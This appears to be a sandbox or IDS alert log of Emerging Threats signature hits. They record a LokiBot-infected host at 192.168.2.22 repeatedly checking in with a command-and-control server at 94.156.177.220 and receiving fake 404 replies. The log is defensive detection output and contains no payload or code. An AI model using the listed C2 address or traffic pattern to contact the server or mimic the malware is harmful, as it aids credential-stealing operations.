2024-10-24T08:46:19.333801+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-24T08:46:19.339622+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49188	TCP
2024-10-24T08:46:19.648513+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-24T08:46:19.648513+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-24T08:46:19.648513+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-24T08:46:20.604827+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-24T08:46:20.604827+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-24T08:46:20.611001+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49189	TCP
2024-10-24T08:46:20.762214+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-24T08:46:20.762214+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-24T08:46:20.762214+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-24T08:46:21.710093+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-24T08:46:21.710093+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-24T08:46:21.715929+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49190	TCP
2024-10-24T08:46:21.849543+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-24T08:46:21.849543+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-24T08:46:21.849543+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-24T08:46:22.808952+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-24T08:46:22.808952+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-24T08:46:22.814634+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49191	TCP
2024-10-24T08:46:23.281189+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-24T08:46:23.281189+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-24T08:46:23.281189+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-24T08:46:24.246938+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-24T08:46:24.246938+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-24T08:46:24.252638+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49192	TCP
2024-10-24T08:46:24.390800+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-24T08:46:24.390800+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-24T08:46:24.390800+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-24T08:46:25.331525+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-24T08:46:25.331525+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-24T08:46:25.337740+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49193	TCP
2024-10-24T08:46:25.483247+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-24T08:46:25.483247+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-24T08:46:25.483247+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-24T08:46:26.551291+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-24T08:46:26.551291+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-24T08:46:26.557171+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49194	TCP
2024-10-24T08:46:26.725660+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-24T08:46:26.725660+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-24T08:46:26.725660+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-24T08:46:28.251730+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-24T08:46:28.251730+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-24T08:46:28.252264+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49195	TCP
2024-10-24T08:46:28.399061+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-24T08:46:28.399061+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-24T08:46:28.399061+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-24T08:46:29.338163+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-24T08:46:29.338163+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-24T08:46:29.343879+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49196	TCP
2024-10-24T08:46:29.683232+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-24T08:46:29.683232+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-24T08:46:29.683232+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-24T08:46:30.655966+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-24T08:46:30.655966+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-24T08:46:30.661678+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49197	TCP
2024-10-24T08:46:30.898100+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-24T08:46:30.898100+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-24T08:46:30.898100+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-24T08:46:31.856886+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-24T08:46:31.856886+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-24T08:46:31.862466+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49198	TCP
2024-10-24T08:46:32.194843+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-24T08:46:32.194843+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-24T08:46:32.194843+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-24T08:46:33.155234+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-24T08:46:33.155234+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-24T08:46:33.161034+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49199	TCP
2024-10-24T08:46:33.628718+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-24T08:46:33.628718+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-24T08:46:33.628718+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-24T08:46:34.578342+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-24T08:46:34.578342+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-24T08:46:34.584074+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49200	TCP
2024-10-24T08:46:34.733384+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-24T08:46:34.733384+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-24T08:46:34.733384+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-24T08:46:35.676631+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-24T08:46:35.676631+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-24T08:46:35.682118+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49201	TCP
2024-10-24T08:46:35.832085+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-24T08:46:35.832085+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-24T08:46:35.832085+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-24T08:46:36.783619+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-24T08:46:36.783619+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-24T08:46:36.789327+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49202	TCP
2024-10-24T08:46:37.014681+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-24T08:46:37.014681+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-24T08:46:37.014681+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-24T08:46:37.966886+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-24T08:46:37.966886+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-24T08:46:37.972584+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49203	TCP
2024-10-24T08:46:38.149338+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-24T08:46:38.149338+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-24T08:46:38.149338+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-24T08:46:39.114628+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-24T08:46:39.114628+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-24T08:46:39.120439+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49204	TCP
2024-10-24T08:46:39.259709+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-24T08:46:39.259709+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-24T08:46:39.259709+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-24T08:46:40.223656+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-24T08:46:40.223656+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-24T08:46:40.229358+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49205	TCP
2024-10-24T08:46:40.378743+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-24T08:46:40.378743+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-24T08:46:40.378743+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-24T08:46:41.328860+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-24T08:46:41.328860+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-24T08:46:41.334498+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49206	TCP
2024-10-24T08:46:41.479514+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-24T08:46:41.479514+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-24T08:46:41.479514+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-24T08:46:42.424772+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-24T08:46:42.424772+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-24T08:46:42.430538+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49207	TCP
2024-10-24T08:46:42.564513+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-24T08:46:42.564513+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-24T08:46:42.564513+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-24T08:46:43.523331+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-24T08:46:43.523331+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-24T08:46:43.529969+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49208	TCP
2024-10-24T08:46:43.679806+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-24T08:46:43.679806+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-24T08:46:43.679806+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-24T08:46:44.664054+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-24T08:46:44.664054+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-24T08:46:44.670152+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49209	TCP
2024-10-24T08:46:45.035157+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-24T08:46:45.035157+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-24T08:46:45.035157+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-24T08:46:45.984133+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-24T08:46:45.984133+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-24T08:46:45.990113+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49210	TCP
2024-10-24T08:46:46.148100+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-24T08:46:46.148100+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-24T08:46:46.148100+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-24T08:46:47.107551+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-24T08:46:47.107551+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-24T08:46:47.113297+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49211	TCP
2024-10-24T08:46:47.878298+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-24T08:46:47.878298+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-24T08:46:47.878298+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-24T08:46:48.810873+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-24T08:46:48.810873+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-24T08:46:48.816601+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49212	TCP
2024-10-24T08:46:49.169376+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-24T08:46:49.169376+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-24T08:46:49.169376+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-24T08:46:50.129192+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-24T08:46:50.129192+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-24T08:46:50.135743+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49213	TCP
2024-10-24T08:46:50.273713+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-24T08:46:50.273713+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-24T08:46:50.273713+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-24T08:46:51.214727+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-24T08:46:51.214727+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-24T08:46:51.220336+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49214	TCP
2024-10-24T08:46:51.369260+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-24T08:46:51.369260+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-24T08:46:51.369260+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-24T08:46:52.324683+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-24T08:46:52.324683+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-24T08:46:52.330270+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49215	TCP
2024-10-24T08:46:52.485586+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-24T08:46:52.485586+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-24T08:46:52.485586+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-24T08:46:53.452603+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-24T08:46:53.452603+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-24T08:46:53.458287+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49216	TCP
2024-10-24T08:46:53.624164+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-24T08:46:53.624164+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-24T08:46:53.624164+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-24T08:46:54.556519+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-24T08:46:54.556519+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-24T08:46:54.562435+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49217	TCP
2024-10-24T08:46:54.754980+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-24T08:46:54.754980+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-24T08:46:54.754980+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-24T08:46:55.732586+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-24T08:46:55.732586+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-24T08:46:55.739134+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49218	TCP
2024-10-24T08:46:55.935933+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-24T08:46:55.935933+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-24T08:46:55.935933+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-24T08:46:56.915668+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-24T08:46:56.915668+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-24T08:46:56.921372+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49219	TCP
2024-10-24T08:46:57.102699+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-24T08:46:57.102699+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-24T08:46:57.102699+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-24T08:46:58.072935+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-24T08:46:58.072935+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-24T08:46:58.078596+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49220	TCP
2024-10-24T08:46:58.242857+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-24T08:46:58.242857+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-24T08:46:58.242857+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-24T08:46:59.198997+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-24T08:46:59.198997+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-24T08:46:59.204710+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49221	TCP
2024-10-24T08:46:59.354586+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-24T08:46:59.354586+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-24T08:46:59.354586+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49222	94.156.177.220	80	TCP
